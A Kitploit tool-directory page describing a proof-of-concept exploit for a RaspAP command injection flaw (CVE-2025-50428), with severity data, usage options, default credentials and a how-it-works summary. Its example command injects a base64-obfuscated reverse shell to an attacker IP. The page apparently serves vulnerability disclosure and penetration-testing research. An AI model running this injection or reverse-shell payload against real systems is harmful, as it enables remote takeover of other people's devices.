Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/security-smarttecs/cve-2025-50428
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubsecurity-smarttecs/cve-2025-50428

cve-2025-50428

Proof of concept for the vulnerability CVE-2025-50428: Authenticated OS Command Injection in RaspAP

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE Severity Product Version

CVE-2025-50428 - RaspAP Command Injection

A proof-of-concept exploit for CVE-2025-50428, a command injection vulnerability in RaspAP raspap-webgui 3.2.9 and earlier.


Vulnerability IDCVE-2025-50428
SeverityHigh (CVSS 3.1: 8.6)
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vulnerability TypeCode Injection
Attack VectorRemote (Authenticated)
Privileges RequiredLow
ImpactCode Execution, Privilege Escalation
Affected Productraspap-webgui ≤ 3.2.9
Discovered bySmartTECS Cyber Security GmbH

Description

This exploit targets a command injection vulnerability in the hostapd.php script of RaspAP. The vulnerability exists due to improper sanitization of user input passed via the interface parameter. An authenticated attacker can inject arbitrary OS commands, resulting in code execution with the privileges of the www-data user.

Vulnerable Versions

  • raspap-webgui ≤ 3.2.9

Requirements

  • Python 3.x
  • requests library installed
  • Target running a vulnerable version of RaspAP
  • Valid RaspAP login credentials

Usage

root@kitploit:~
python3 poc.py --base-url <url> --interface <payload> [--username <username>] [--password <password>]

Parameters

  • --base-url: Base URL of the RaspAP installation (e.g., http://192.168.122.22)
  • --interface: Value for the interface parameter, injection payload allowed
  • --username: RaspAP username (default: admin)
  • --password: RaspAP password (default: secret)

Example

root@kitploit:~
python3 poc.py --base-url http://192.168.122.22 --interface "';echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzEzMzcgMD4mMTs= | base64 -d | bash"

How it Works

  1. The script authenticates to the RaspAP web interface using provided credentials.
  2. It retrieves a valid CSRF token from the server.
  3. A POST request is sent to hostapd.php with the interface parameter containing a malicious command injection payload.
  4. The injected commands execute on the target system with www-data privileges.

Notes

  • The exploit requires valid credentials.
  • Successful exploitation allows arbitrary command execution, which can be chained for privilege escalation.

SmartTECS Cyber Security GmbH

SmartTECS Cyber Security GmbH is a cybersecurity company specializing in penetration testing, secure software development, and vulnerability research. The company provides tailored security assessments, incident response, and strategic advisory services to help organizations protect critical systems from evolving cyber threats.

Disclaimer

This tool is provided strictly for educational and research purposes. Use only on systems owned or administered with explicit permission. The author and SmartTECS Cyber Security GmbH assume no liability for misuse or damage.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-50428
Download Tool